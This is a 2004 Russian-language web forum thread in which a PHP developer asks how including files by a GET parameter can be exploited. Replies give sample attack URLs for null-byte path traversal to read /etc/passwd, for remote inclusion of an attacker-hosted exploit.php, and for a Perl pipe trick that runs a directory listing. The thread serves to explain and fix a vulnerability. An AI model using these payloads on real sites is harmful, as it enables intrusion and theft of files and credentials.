Гость
Целевая тема:
Создать новую тему:
Автор:
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / дыра в безопасности / 10 сообщений из 10, страница 1 из 1
24.12.2004, 22:51
    #32844656
Галя
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
дыра в безопасности
Я передаю в php-скрипт через GET имя файла:
index.php?id=name
В скрипте это имя принимаю, и образую полное имя:
$file_name = $dir . $_GET[id]. ".html";

Далее, проверяю существование $file_name, и если он есть, то открываю этот файл, неким образом его обрамляя.

Мне сказали, что этот способ может быть дырой в безопасности, и при желании хакер может такой сайт взломать.
Я не смогла придумать, каким образом?

Для дополнительной безопасности можно было бы проверять сначала $_GET[id] на наличие запрещенных символов (разрешить только буквы, цифры и _-).
Но для начала надо понять, а КАК такое взламывается?
...
Рейтинг: 0 / 0
24.12.2004, 23:01
    #32844661
Black
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
дыра в безопасности
а можно узнать зачем надо передавать имя подключаемого файла из вне?!
почему Вы не можете сами определить диапозон возможных подключаемых файлов?

насколько понимаю, Вы пытаетесь подключать разделы сайта таким образом, если да то используйте ID->filename. А список id храните либо в БД, либо в текстовых файлах.
...
Рейтинг: 0 / 0
24.12.2004, 23:26
    #32844680
Галя
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
дыра в безопасности
Николай aka Motodor а можно узнать зачем надо передавать имя подключаемого файла из вне?!

В скрипте определен дизайн сайта.
В различных директориях, соответствующих разделам сайта, лежат файлы с содержанием страниц. В этих файлах - только содержание, минимум html.

Скрипт определяет имя файла, и подключает его в нужное место, вписывая в дизайн.
Базы данных нет. Хозяева сайта легко создают и наполняют страницы нужным содержанием. Если нужно поменять что-то в дизайне, можно отредактировать только скрипт.
...
Рейтинг: 0 / 0
25.12.2004, 00:54
    #32844723
sky2k
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
дыра в безопасности
эта "дыра" позволяет включить index.php любой доступный файл на вашем сервере
для этого нужно просто правильно сформировать [id]
классический пример =)
http://host/index.php?id=../../etc/passwd%00
%00 будет означать конец строки, поэтому .html из [$_GET[id]. ".html";] не будет учитываться
следовательно параметром для include_once() будет $dir . "../../etc/passwd"
остаётся подобрать уровень каталога

если убрать добавление $dir , то можно получить больщую "дыру"
http://host/index.php?id=http://your_host/exploit.php%00

--
http://jcatki.no-ip.org/c++/bart.jpg
...
Рейтинг: 0 / 0
25.12.2004, 00:58
    #32844725
sky2k
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
дыра в безопасности
ЗЫ последнее - только если файл подключается includоm

--
http://jcatki.no-ip.org/c++/bart.jpg
...
Рейтинг: 0 / 0
25.12.2004, 10:45
    #32844772
*
*
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
дыра в безопасности
А если не инклудом - это позволяет посмотреть содержимое сервера (исходники, пароли, etc).
...
Рейтинг: 0 / 0
25.12.2004, 15:34
    #32844874
Галя
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
дыра в безопасности
Но если я проверяю синтаксис $_GET[id] - и при наличии в нем любых знаков, кроме букв и "/" - останавливаю программу!
Значит, дыра закрываетcя?
...
Рейтинг: 0 / 0
25.12.2004, 16:16
    #32844890
Галя
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
дыра в безопасности
sky2khttp://host/index.php?id=../../etc/passwd%00
%00 будет означать конец строки, поэтому .html из [$_GET[id]. ".html";] не будет учитываться
следовательно параметром для include_once() будет $dir . "../../etc/passwd"


Почему же?
$file_name = "my_dir" . $_GET[id] . ".html";
В Вашем примере %00 - конец строки для $_GET[id],
но в $file_name все равно добавится .html !
...
Рейтинг: 0 / 0
25.12.2004, 17:11
    #32844904
sky2k
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
дыра в безопасности
пример
$st = "aaa.html" . chr(0) . ".mega_test";

echo($st) выведет правильно [aaa.html.mega_test]

но вот для работы с файлами fopen,file,include,etc конец строки будет считаться по \0

следовательно
fopen($st)
будет открывать aaa.html

ЗЫ для справки на perl такая оплошность в некоторых случаях позволяет не только считывать файлы но так же запускать их
например
http://host/index.pl?id=../../../bin/ls -alR /somefolder/| выведет вам список всех файлов/папок в [somefolder] , чтобы узнать куда писать можно =)
...
Рейтинг: 0 / 0
25.12.2004, 17:56
    #32844916
Галя
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
дыра в безопасности
Спасибо большое!
...
Рейтинг: 0 / 0
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / дыра в безопасности / 10 сообщений из 10, страница 1 из 1
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]